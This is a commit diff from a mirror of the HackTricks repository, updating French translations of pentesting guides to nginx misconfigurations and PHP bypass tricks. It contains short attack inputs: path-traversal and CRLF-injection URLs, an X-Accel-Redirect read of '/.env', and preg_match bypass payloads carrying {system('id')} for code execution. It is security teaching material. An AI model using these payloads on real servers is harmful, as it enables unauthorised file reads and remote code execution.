Mirrors/hacktricks
2
0
Fork 0
mirror of https://github.com/carlospolop/hacktricks synced 2024-11-22 12:43:23 +00:00
Code Issues Projects Releases Packages Wiki Activity

Translated ['network-services-pentesting/pentesting-web/nginx.md', 'netw

Browse source
This commit is contained in:
Translator 2024-04-27 17:17:06 +00:00
parent 91222c3723
commit 0e81e419a4
7 changed files with 252 additions and 212 deletions
Show stats Download patch file Download diff file Expand all files Collapse all files

74
network-services-pentesting/pentesting-web/nginx.md
View file

@ -22,8 +22,6 @@ Autres façons de soutenir HackTricks :
## Emplacement racine manquant <a href="#missing-root-location" id="missing-root-location"></a>
## **Essentiels de la configuration du répertoire racine Nginx**
Lors de la configuration du serveur Nginx, la directive **root** joue un rôle critique en définissant le répertoire de base à partir duquel les fichiers sont servis. Considérez l'exemple ci-dessous :
```bash
server {
@ -37,17 +35,17 @@ proxy_pass http://127.0.0.1:8080/;
```
Dans cette configuration, `/etc/nginx` est désigné comme répertoire racine. Cette configuration permet d'accéder aux fichiers dans le répertoire racine spécifié, tel que `/hello.txt`. Cependant, il est crucial de noter qu'un emplacement spécifique (`/hello.txt`) est défini. Il n'y a pas de configuration pour l'emplacement racine (`location / {...}`). Cette omission signifie que la directive racine s'applique globalement, permettant aux requêtes vers le chemin racine `/` d'accéder aux fichiers sous `/etc/nginx`.
Une considération de sécurité critique découle de cette configuration. Une simple requête `GET`, comme `GET /nginx.conf`, pourrait exposer des informations sensibles en servant le fichier de configuration Nginx situé à `/etc/nginx/nginx.conf`. Définir la racine sur un répertoire moins sensible, comme `/etc`, pourrait atténuer ce risque, mais cela pourrait encore permettre un accès non intentionnel à d'autres fichiers critiques, y compris d'autres fichiers de configuration, des journaux d'accès, voire des informations d'identification chiffrées utilisées pour l'authentification de base HTTP.
Une considération de sécurité critique découle de cette configuration. Une simple requête `GET`, comme `GET /nginx.conf`, pourrait exposer des informations sensibles en servant le fichier de configuration Nginx situé à `/etc/nginx/nginx.conf`. Définir la racine sur un répertoire moins sensible, comme `/etc`, pourrait atténuer ce risque, mais cela pourrait encore permettre un accès non intentionnel à d'autres fichiers critiques, y compris d'autres fichiers de configuration, des journaux d'accès, voire des identifiants chiffrés utilisés pour l'authentification de base HTTP.
## Configuration de l'alias LFI <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a>
## Configuration de l'Alias LFI <a href="#alias-lfi-misconfiguration" id="alias-lfi-misconfiguration"></a>
Dans les fichiers de configuration de Nginx, une inspection minutieuse est nécessaire pour les directives "location". Une vulnérabilité connue sous le nom d'Inclusion de Fichier Local (LFI) peut être introduite involontairement via une configuration qui ressemble à ce qui suit:
Dans les fichiers de configuration de Nginx, une inspection minutieuse est nécessaire pour les directives "location". Une vulnérabilité connue sous le nom d'Inclusion de Fichier Local (LFI) peut être introduite involontairement via une configuration qui ressemble à ce qui suit :
```
location /imgs {
alias /path/images/;
}
```
Cette configuration est vulnérable aux attaques LFI car le serveur interprète les requêtes telles que `/imgs../flag.txt` comme une tentative d'accéder à des fichiers en dehors du répertoire prévu, se résolvant effectivement en `/chemin/images/../flag.txt`. Cette faille permet aux attaquants de récupérer des fichiers du système de fichiers du serveur qui ne devraient pas être accessibles via le web.
Ce paramétrage est vulnérable aux attaques LFI en raison du serveur interprétant les requêtes telles que `/imgs../flag.txt` comme une tentative d'accès à des fichiers en dehors du répertoire prévu, se résolvant effectivement en `/chemin/images/../flag.txt`. Cette faille permet aux attaquants de récupérer des fichiers du système de fichiers du serveur qui ne devraient pas être accessibles via le web.
Pour atténuer cette vulnérabilité, la configuration devrait être ajustée comme suit :
```
@ -57,7 +55,7 @@ alias /path/images/;
```
Plus d'informations : [https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/](https://www.acunetix.com/vulnerabilities/web/path-traversal-via-misconfigured-nginx-alias/)
Tests d'Accunetix :
Tests Accunetix :
```
alias../ => HTTP status code 403
alias.../ => HTTP status code 404
@ -67,7 +65,7 @@ alias../ => HTTP status code 403
```
## Restriction de chemin non sécurisée <a href="#unsafe-variable-use" id="unsafe-variable-use"></a>
Consultez la page suivante pour apprendre comment contourner les directives telles que:
Consultez la page suivante pour apprendre comment contourner des directives telles que:
```plaintext
location = /admin {
deny all;
@ -81,14 +79,14 @@ deny all;
[proxy-waf-protections-bypass.md](../../pentesting-web/proxy-waf-protections-bypass.md)
{% endcontent-ref %}
## Utilisation non sécurisée de variables / Fractionnement de requête HTTP <a href="#unsafe-variable-use" id="unsafe-variable-use"></a>
## Utilisation non sécurisée des variables / Fractionnement de requête HTTP <a href="#unsafe-variable-use" id="unsafe-variable-use"></a>
{% hint style="danger" %}
Les variables vulnérables `$uri` et `$document_uri` peuvent être corrigées en les remplaçant par `$request_uri`.
Une expression régulière peut également être vulnérable comme suit :
Une expression régulière peut également être vulnérable comme :
`location ~ /docs/([^/])? { … $1 … }` - Vulnérable&#x20;
`location ~ /docs/([^/])? { … $1 … }` - Vulnérable
`location ~ /docs/([^/\s])? { … $1 … }` - Non vulnérable (vérification des espaces)
@ -101,7 +99,7 @@ location / {
return 302 https://example.com$uri;
}
```
Les caractères \r (Retour chariot) et \n (Saut de ligne) signifient de nouveaux caractères de ligne dans les requêtes HTTP, et leurs formes encodées en URL sont représentées comme `%0d%0a`. Inclure ces caractères dans une requête (par exemple, `http://localhost/%0d%0aDetectify:%20clrf`) à un serveur mal configuré entraîne le serveur à émettre un nouvel en-tête nommé `Detectify`. Cela se produit car la variable $uri décode les caractères de nouvelle ligne encodés en URL, entraînant un en-tête inattendu dans la réponse:
Les caractères \r (Retour chariot) et \n (Saut de ligne) signifient de nouveaux caractères de ligne dans les requêtes HTTP, et leurs formes encodées en URL sont représentées comme `%0d%0a`. Inclure ces caractères dans une requête (par exemple, `http://localhost/%0d%0aDetectify:%20clrf`) à un serveur mal configuré entraîne le serveur à émettre un nouvel en-tête nommé `Detectify`. Cela se produit car la variable $uri décode les caractères de saut de ligne encodés en URL, entraînant un en-tête inattendu dans la réponse:
```
HTTP/1.1 302 Moved Temporarily
Server: nginx/1.19.3
@ -111,29 +109,29 @@ Connection: keep-alive
Location: https://example.com/
Detectify: clrf
```
Découvrez davantage sur les risques d'injection CRLF et de fractionnement des réponses sur [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/).
Découvrez davantage sur les risques d'injection CRLF et de fractionnement de réponse à [https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/](https://blog.detectify.com/2019/06/14/http-response-splitting-exploitations-and-mitigations/).
De plus, cette technique est **expliquée dans cette présentation** avec des exemples vulnérables et des mécanismes de détection. Par exemple, pour détecter cette mauvaise configuration d'un point de vue boîte noire, vous pourriez utiliser ces requêtes :
Cette technique est également **expliquée dans cette présentation** avec des exemples vulnérables et des mécanismes de détection. Par exemple, pour détecter cette mauvaise configuration d'un point de vue boîte noire, vous pourriez utiliser ces requêtes :
- `https://example.com/%20X` - Tout code HTTP
- `https://example.com/%20H` - 400 Bad Request
* `https://example.com/%20X` - Tout code HTTP
* `https://example.com/%20H` - 400 Bad Request
Si vulnérable, le premier retournera "X" car c'est n'importe quelle méthode HTTP et le second renverra une erreur car H n'est pas une méthode valide. Ainsi, le serveur recevra quelque chose comme : `GET / H HTTP/1.1` et cela déclenchera l'erreur.
D'autres exemples de détection seraient :
- `http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x` - Tout code HTTP
- `http://company.tld/%20HTTP/1.1%0D%0AHost:%20x` - 400 Bad Request
* `http://company.tld/%20HTTP/1.1%0D%0AXXXX:%20x` - Tout code HTTP
* `http://company.tld/%20HTTP/1.1%0D%0AHost:%20x` - 400 Bad Request
Certaines configurations vulnérables trouvées et présentées dans cette présentation étaient :
- Notez comment **`$uri`** est défini tel quel dans l'URL final
* Remarquez comment **`$uri`** est défini tel quel dans l'URL final
```
location ^~ /lite/api/ {
proxy_pass http://lite-backend$uri$is_args$args;
}
```
* Notez à nouveau que **`$uri`** est dans l'URL (cette fois à l'intérieur d'un paramètre)
* Notez comment encore une fois **`$uri`** est dans l'URL (cette fois à l'intérieur d'un paramètre)
```
location ~ ^/dna/payment {
rewrite ^/dna/([^/]+) /registered/main.pl?cmd=unifiedPayment&context=$1&native_uri=$uri break;
@ -147,7 +145,7 @@ proxy_pass https://company-bucket.s3.amazonaws.com$uri;
```
### Toute variable
Il a été découvert que des **données fournies par l'utilisateur** pourraient être traitées comme une **variable Nginx** dans certaines circonstances. La cause de ce comportement reste quelque peu insaisissable, mais il n'est ni rare ni simple à vérifier. Cette anomalie a été mise en évidence dans un rapport de sécurité sur HackerOne, qui peut être consulté [ici](https://hackerone.com/reports/370094). Une enquête plus approfondie sur le message d'erreur a permis d'identifier son occurrence dans le [module de filtre SSI du code source de Nginx](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx\_http\_ssi\_filter\_module.c#L365), en identifiant les Inclusions Côté Serveur (SSI) comme la cause principale.
Il a été découvert que des **données fournies par l'utilisateur** pourraient être traitées comme une **variable Nginx** dans certaines circonstances. La cause de ce comportement reste quelque peu insaisissable, mais il n'est ni rare ni simple à vérifier. Cette anomalie a été mise en évidence dans un rapport de sécurité sur HackerOne, qui peut être consulté [ici](https://hackerone.com/reports/370094). Une enquête plus approfondie sur le message d'erreur a permis d'identifier son occurrence dans le [module de filtre SSI du code source de Nginx](https://github.com/nginx/nginx/blob/2187586207e1465d289ae64cedc829719a048a39/src/http/modules/ngx\_http\_ssi\_filter\_module.c#L365), en pointant les Inclusions Côté Serveur (SSI) comme cause principale.
Pour **détecter cette mauvaise configuration**, la commande suivante peut être exécutée, ce qui implique de définir un en-tête referer pour tester l'impression de variables:
```bash
@ -159,7 +157,7 @@ Les analyses de cette mauvaise configuration sur les systèmes ont révélé de
Nginx propose une fonctionnalité via `proxy_pass` qui permet l'interception des erreurs et des en-têtes HTTP générés par le serveur, dans le but de masquer les messages d'erreur et les en-têtes internes. Cela est réalisé en faisant en sorte que Nginx serve des pages d'erreur personnalisées en réponse aux erreurs du serveur. Cependant, des défis surviennent lorsque Nginx rencontre une requête HTTP invalide. Une telle requête est transmise au serveur tel qu'elle a été reçue, et la réponse brute du serveur est ensuite directement envoyée au client sans l'intervention de Nginx.
Considérons un scénario d'exemple impliquant une application uWSGI :
Considérez un scénario d'exemple impliquant une application uWSGI :
```python
def application(environ, start_response):
start_response('500 Error', [('Content-Type', 'text/html'), ('Secret-Header', 'secret-info')])
@ -173,7 +171,7 @@ proxy_intercept_errors on;
proxy_hide_header Secret-Header;
}
```
* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): Cette directive permet à Nginx de servir une réponse personnalisée pour les réponses du serveur avec un code d'état supérieur à 300. Cela garantit que, pour notre application uWSGI exemple, une réponse d'erreur `500` est interceptée et gérée par Nginx.
* [**proxy\_intercept\_errors**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_intercept\_errors): Cette directive permet à Nginx de servir une réponse personnalisée pour les réponses en provenance du serveur avec un code d'état supérieur à 300. Cela garantit que, pour notre application uWSGI exemple, une réponse d'erreur `500` est interceptée et gérée par Nginx.
* [**proxy\_hide\_header**](http://nginx.org/en/docs/http/ngx\_http\_proxy\_module.html#proxy\_hide\_header): Comme son nom l'indique, cette directive masque les en-têtes HTTP spécifiés du client, améliorant ainsi la confidentialité et la sécurité.
Lorsqu'une requête `GET` valide est effectuée, Nginx la traite normalement, renvoyant une réponse d'erreur standard sans révéler d'en-têtes secrets. Cependant, une requête HTTP invalide contourne ce mécanisme, entraînant l'exposition des réponses brutes du serveur, y compris les en-têtes secrets et les messages d'erreur.
@ -186,6 +184,18 @@ Pour atténuer de tels risques, il est recommandé de **désactiver la directive
Pour plus d'informations, consultez [Danny Robinson et Rotem Bar](https://medium.com/appsflyer/nginx-may-be-protecting-your-applications-from-traversal-attacks-without-you-even-knowing-b08f882fd43d).
### **En-têtes de réponse malveillants**
Comme le montre [**cet article**](https://mizu.re/post/cors-playground), certains en-têtes présents dans la réponse du serveur Web modifieront le comportement du proxy Nginx. Vous pouvez les vérifier [**dans la documentation**](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/):
* `X-Accel-Redirect`: Indique à Nginx de rediriger internement une requête vers un emplacement spécifié.
* `X-Accel-Buffering`: Contrôle si Nginx doit mettre en mémoire tampon la réponse ou non.
* `X-Accel-Charset`: Définit l'ensemble de caractères pour la réponse lors de l'utilisation de X-Accel-Redirect.
* `X-Accel-Expires`: Définit le temps d'expiration pour la réponse lors de l'utilisation de X-Accel-Redirect.
* `X-Accel-Limit-Rate`: Limite le débit de transfert pour les réponses lors de l'utilisation de X-Accel-Redirect.
Par exemple, l'en-tête **`X-Accel-Redirect`** provoquera une **redirection interne** dans le nginx. Ainsi, avoir une configuration nginx avec quelque chose comme **`root /`** et une réponse du serveur Web avec **`X-Accel-Redirect: .env`** fera en sorte que nginx envoie le contenu de **`/.env`** (traversal de chemin).
### **Valeur par défaut dans la directive Map**
Dans la **configuration de Nginx**, la directive `map` joue souvent un rôle dans le **contrôle d'autorisation**. Une erreur courante est de ne pas spécifier de **valeur par défaut**, ce qui pourrait entraîner un accès non autorisé. Par exemple:
@ -217,11 +227,11 @@ resolver 8.8.8.8;
```
### **Directives `proxy_pass` et `internal`**
La directive **`proxy_pass`** est utilisée pour rediriger les requêtes vers d'autres serveurs, que ce soit en interne ou en externe. La directive **`internal`** garantit que certains emplacements ne sont accessibles qu'à l'intérieur de Nginx. Bien que ces directives ne représentent pas des vulnérabilités en elles-mêmes, leur configuration nécessite un examen attentif pour éviter les failles de sécurité.
La directive **`proxy_pass`** est utilisée pour rediriger les requêtes vers d'autres serveurs, que ce soit en interne ou en externe. La directive **`internal`** garantit que certains emplacements ne sont accessibles qu'à l'intérieur de Nginx. Bien que ces directives ne soient pas des vulnérabilités en elles-mêmes, leur configuration nécessite un examen attentif pour éviter les failles de sécurité.
## proxy\_set\_header Upgrade & Connection
Si le serveur nginx est configuré pour transmettre les en-têtes Upgrade et Connection, une [**attaque de type h2c Smuggling**](../../pentesting-web/h2c-smuggling.md) pourrait être réalisée pour accéder à des points de terminaison protégés/internes.
Si le serveur nginx est configuré pour transmettre les en-têtes Upgrade et Connection, une [attaque de type **h2c Smuggling**](../../pentesting-web/h2c-smuggling.md) pourrait être réalisée pour accéder à des points de terminaison protégés/internes.
{% hint style="danger" %}
Cette vulnérabilité permettrait à un attaquant d'**établir une connexion directe avec le point de terminaison `proxy_pass`** (`http://backend:9999` dans ce cas) dont le contenu ne serait pas vérifié par nginx.
@ -248,12 +258,12 @@ deny all;
}
```
{% hint style="warning" %}
Notez que même si `proxy_pass` pointait vers un **chemin** spécifique tel que `http://backend:9999/socket.io`, la connexion sera établie avec `http://backend:9999`, vous pouvez donc **contacter tout autre chemin à l'intérieur de ce point de terminaison interne. Il n'importe donc pas si un chemin est spécifié dans l'URL de proxy\_pass.**
Notez que même si le `proxy_pass` pointait vers un **chemin** spécifique tel que `http://backend:9999/socket.io`, la connexion sera établie avec `http://backend:9999` donc vous pouvez **contacter tout autre chemin à l'intérieur de ce point de terminaison interne. Ainsi, il n'importe pas si un chemin est spécifié dans l'URL de proxy\_pass.**
{% endhint %}
## Essayez par vous-même
Detectify a créé un dépôt GitHub où vous pouvez utiliser Docker pour configurer votre propre serveur de test Nginx vulnérable avec certaines des mauvaises configurations discutées dans cet article et essayer de les trouver vous-même!
Detectify a créé un dépôt GitHub où vous pouvez utiliser Docker pour configurer votre propre serveur de test Nginx vulnérable avec certaines des mauvaises configurations discutées dans cet article et essayer de les trouver vous-même !
[https://github.com/detectify/vulnerable-nginx](https://github.com/detectify/vulnerable-nginx)
@ -275,7 +285,7 @@ Nginxpwner est un outil simple pour rechercher les mauvaises configurations et l
<figure><img src="../../.gitbook/assets/image (11).png" alt=""><figcaption></figcaption></figure>
**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Exécutez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance aux rapports. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser.
**Configuration instantanément disponible pour l'évaluation des vulnérabilités et les tests de pénétration**. Exécutez un pentest complet de n'importe où avec plus de 20 outils et fonctionnalités allant de la reconnaissance au reporting. Nous ne remplaçons pas les pentesteurs - nous développons des outils personnalisés, des modules de détection et d'exploitation pour leur donner du temps pour creuser plus profondément, ouvrir des shells et s'amuser.
{% embed url="https://pentest-tools.com/" %}
@ -283,12 +293,12 @@ Nginxpwner est un outil simple pour rechercher les mauvaises configurations et l
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Autres façons de soutenir HackTricks:
Autres façons de soutenir HackTricks :
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop)!
* Si vous voulez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**The PEASS Family**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez** 💬 le groupe Discord](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
</details>

78
network-services-pentesting/pentesting-web/php-tricks-esp/README.md
View file

@ -6,15 +6,15 @@
Autres façons de soutenir HackTricks :
- Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
- Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
- Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
- **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
- **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Si vous souhaitez voir votre **entreprise annoncée dans HackTricks** ou **télécharger HackTricks en PDF**, consultez les [**PLANS D'ABONNEMENT**](https://github.com/sponsors/carlospolop) !
* Obtenez le [**swag officiel PEASS & HackTricks**](https://peass.creator-spring.com)
* Découvrez [**La famille PEASS**](https://opensea.io/collection/the-peass-family), notre collection exclusive de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts GitHub.
</details>
<figure><img src="/.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
<figure><img src="../../../.gitbook/assets/WebSec_1500x400_10fps_21sn_lightoptimized_v2.gif" alt=""><figcaption></figcaption></figure>
{% embed url="https://websec.nl/" %}
@ -36,9 +36,9 @@ Example: ../../../../../../tmp/sess_d1d531db62523df80e1153ada1d4b02e
```
## Contournement des comparaisons en PHP
### Comparaisons lâches/Type Juggling ( == )
### Comparaisons lâches / Conversion de type ( == )
Si `==` est utilisé en PHP, il peut y avoir des cas inattendus où la comparaison ne se comporte pas comme prévu. Cela est dû au fait que "==" compare uniquement les valeurs transformées en le même type. Si vous souhaitez également comparer que le type des données comparées est le même, vous devez utiliser `===`.
Si `==` est utilisé en PHP, il peut y avoir des cas inattendus où la comparaison ne se comporte pas comme prévu. Cela est dû au fait que "==" ne compare que des valeurs transformées en le même type. Si vous voulez également comparer que le type des données comparées est le même, vous devez utiliser `===`.
Tableaux de comparaison PHP : [https://www.php.net/manual/en/types.comparisons.php](https://www.php.net/manual/en/types.comparisons.php)
@ -57,7 +57,7 @@ Plus d'informations sur [https://medium.com/swlh/php-type-juggling-vulnerabiliti
### **in\_array()**
**Type Juggling** affecte également la fonction `in_array()` par défaut (vous devez définir sur true le troisième argument pour effectuer une comparaison stricte) :
**La Conversion de type** affecte également la fonction `in_array()` par défaut (vous devez définir sur true le troisième argument pour effectuer une comparaison stricte) :
```php
$values = array("apple","orange","pear","grape");
var_dump(in_array(0, $values));
@ -74,7 +74,7 @@ if (!strcmp("real_pwd","real_pwd")) { echo "Real Password"; } else { echo "No Re
if (!strcmp(array(),"real_pwd")) { echo "Real Password"; } else { echo "No Real Password"; }
// Real Password
```
La même erreur se produit avec `strcasecmp()`
Le même erreur se produit avec `strcasecmp()`
### Conversion de type strict
@ -84,11 +84,11 @@ Même si `===` est **utilisé**, il peut y avoir des erreurs qui rendent la **co
```
### preg\_match(/^.\*/)
**`preg_match()`** pourrait être utilisé pour **valider l'entrée de l'utilisateur** (il **vérifie** si un **mot/réglage** d'une **liste noire** est **présent** dans l'**entrée de l'utilisateur** et si ce n'est pas le cas, le code peut continuer son exécution).
**`preg_match()`** pourrait être utilisé pour **valider l'entrée de l'utilisateur** (il **vérifie** si un **mot/regex** de **liste noire** est **présent** dans l'**entrée de l'utilisateur** et si ce n'est pas le cas, le code peut continuer son exécution).
#### Contournement de saut de ligne
Cependant, en délimitant le début de l'expression régulière, `preg_match()` **vérifie uniquement la première ligne de l'entrée de l'utilisateur**, puis si d'une manière ou d'une autre vous pouvez **envoyer** l'entrée sur **plusieurs lignes**, vous pourriez contourner cette vérification. Exemple :
Cependant, en délimitant le début de l'expression régulière, `preg_match()` **ne vérifie que la première ligne de l'entrée de l'utilisateur**, puis si d'une manière ou d'une autre vous pouvez **envoyer** l'entrée sur **plusieurs lignes**, vous pourriez contourner cette vérification. Exemple :
```php
$myinput="aaaaaaa
11111111"; //Notice the new line
@ -112,27 +112,27 @@ Trouvez un exemple ici : [https://ramadistra.dev/fbctf-2019-rceservice](https://
#### **Contournement d'erreur de longueur**
(Ce contournement a apparemment été testé sur PHP 5.2.5 et je n'ai pas réussi à le faire fonctionner sur PHP 7.3.15)\
Si vous pouvez envoyer à `preg_match()` une **entrée très grande** valide, il **ne pourra pas la traiter** et vous pourrez **contourner** la vérification. Par exemple, s'il met en liste noire un JSON, vous pourriez envoyer :
Si vous pouvez envoyer à `preg_match()` une **entrée très grande** valide, il **ne pourra pas la traiter** et vous pourrez **contourner** la vérification. Par exemple, s'il met une liste noire sur un JSON, vous pourriez envoyer :
```bash
payload = '{"cmd": "ls -la", "injected": "'+ "a"*1000001 + '"}'
```
#### Contournement de ReDoS
Astuce de : [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223)
Astuce de : [https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223](https://simones-organization-4.gitbook.io/hackbook-of-a-hacker/ctf-writeups/intigriti-challenges/1223) et [https://mizu.re/post/pong](https://mizu.re/post/pong)
<figure><img src="../../../.gitbook/assets/image (23).png" alt=""><figcaption></figcaption></figure>
En bref, le problème se produit car les fonctions `preg_*` en PHP s'appuient sur la [bibliothèque PCRE](http://www.pcre.org/). Dans PCRE, certaines expressions régulières sont appariées en utilisant beaucoup d'appels récursifs, ce qui utilise beaucoup d'espace de pile. Il est possible de définir une limite sur le nombre de récursions autorisées, mais en PHP cette limite [est par défaut à 100 000](http://php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) ce qui dépasse la taille de la pile.
[Cette discussion sur Stackoverflow](http://stackoverflow.com/questions/7620910/regexp-in-preg-match-function-returning-browser-error) a également été liée dans l'article où il est discuté plus en profondeur de ce problème. Notre tâche était maintenant claire :\
**Envoyer une entrée qui ferait faire plus de 100 000 récursions à l'expression régulière, provoquant un SIGSEGV, faisant en sorte que la fonction `preg_match()` renvoie `false`, ce qui fait penser à l'application que notre entrée n'est pas malveillante, en lançant la surprise à la fin de la charge utile quelque chose comme `{system(<verybadcommand>)}` pour obtenir SSTI --> RCE --> drapeau :)**.
**Envoyer une entrée qui ferait faire plus de 100 000 récursions à l'expression régulière, provoquant un SIGSEGV, faisant en sorte que la fonction `preg_match()` renvoie `false`, ce qui fait croire à l'application que notre entrée n'est pas malveillante, en lançant la surprise à la fin de la charge utile quelque chose comme `{system(<verybadcommand>)}` pour obtenir SSTI --> RCE --> drapeau :)**.
Eh bien, en termes d'expressions régulières, nous ne faisons pas réellement 100k "récursions", mais nous comptons plutôt les "étapes de retour en arrière", comme le [document PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit) le mentionne, elle est par défaut à 1 000 000 (1M) dans la variable `pcre.backtrack_limit`.\
Eh bien, en termes d'expressions régulières, nous ne faisons pas réellement 100k "récursions", mais nous comptons plutôt les "étapes de retour en arrière", comme le mentionne la [documentation PHP](https://www.php.net/manual/en/pcre.configuration.php#ini.pcre.recursion-limit), qui indique que par défaut, cela correspond à 1 000 000 (1M) dans la variable `pcre.backtrack_limit`.\
Pour y parvenir, `'X'*500_001` donnera comme résultat 1 million d'étapes de retour en arrière (500k en avant et 500k en arrière) :
```python
payload = f"@dimariasimone on{'X'*500_001} {{system('id')}}"
```
### Type Juggling pour l'obscurcissement PHP
### Typage Juggling pour l'obscurcissement PHP
```php
$obfs = "1"; //string "1"
$obfs++; //int 2
@ -143,9 +143,9 @@ $obfs = 3+2 * (TRUE + TRUE); //int 7
$obfs .= ""; //string "7"
$obfs += ""; //int 7
```
## Exécution Après Redirection (EAR)
## Exécuter Après Redirection (EAR)
Si PHP redirige vers une autre page mais qu'aucune fonction **`die`** ou **`exit`** n'est **appelée après que l'en-tête `Location`** soit défini, le PHP continue d'exécuter et d'ajouter des données au corps de la page :
Si PHP redirige vers une autre page mais qu'aucune fonction **`die`** ou **`exit`** n'est **appelée après que l'en-tête `Location`** soit défini, le PHP continue d'exécuter et d'ajouter des données au corps :
```php
<?php
// In this page the page will be read and the content appended to the body of
@ -165,9 +165,9 @@ Vérifiez :
## Plus de astuces
* **register\_globals** : Dans **PHP < 4.1.1.1** ou s'ils sont mal configurés, **register\_globals** peut être activé (ou leur comportement est imité). Cela implique que dans les variables globales comme $\_GET s'ils ont une valeur par exemple $\_GET\["param"]="1234", vous pouvez y accéder via **$param. Par conséquent, en envoyant des paramètres HTTP, vous pouvez écraser les variables** qui sont utilisées dans le code.
* Les **cookies PHPSESSION du même domaine sont stockés au même endroit**, donc si dans un domaine **différents cookies sont utilisés dans différents chemins** vous pouvez faire en sorte qu'un chemin **accède au cookie du chemin** en définissant la valeur du cookie de l'autre chemin.\
De cette manière, si **les deux chemins accèdent à une variable portant le même nom** vous pouvez faire en sorte que **la valeur de cette variable dans le chemin1 s'applique au chemin2**. Ensuite, le chemin2 considérera comme valides les variables du chemin1 (en donnant au cookie le nom qui lui correspond dans le chemin2).
* **register\_globals** : Dans **PHP < 4.1.1.1** ou s'il est mal configuré, **register\_globals** peut être activé (ou leur comportement est imité). Cela implique que dans les variables globales comme $\_GET s'ils ont une valeur par exemple $\_GET\["param"]="1234", vous pouvez y accéder via **$param. Par conséquent, en envoyant des paramètres HTTP, vous pouvez écraser des variables** qui sont utilisées dans le code.
* Les **cookies PHPSESSION du même domaine sont stockés au même endroit**, donc si dans un domaine **différents cookies sont utilisés dans différents chemins** vous pouvez faire en sorte qu'un chemin **accède au cookie du chemin** en définissant la valeur de l'autre cookie de chemin.\
De cette façon, si **les deux chemins accèdent à une variable portant le même nom** vous pouvez faire en sorte que **la valeur de cette variable dans le chemin1 s'applique au chemin2**. Ensuite, le chemin2 considérera comme valides les variables du chemin1 (en donnant au cookie le nom qui lui correspond dans le chemin2).
* Lorsque vous avez les **noms d'utilisateur** des utilisateurs de la machine. Vérifiez l'adresse : **/\~\<USERNAME>** pour voir si les répertoires php sont activés.
* [**LFI et RCE en utilisant des wrappers php**](../../../pentesting-web/file-inclusion/)
@ -184,7 +184,7 @@ True
```
### Contournement des en-têtes HTTP en abusant des erreurs PHP
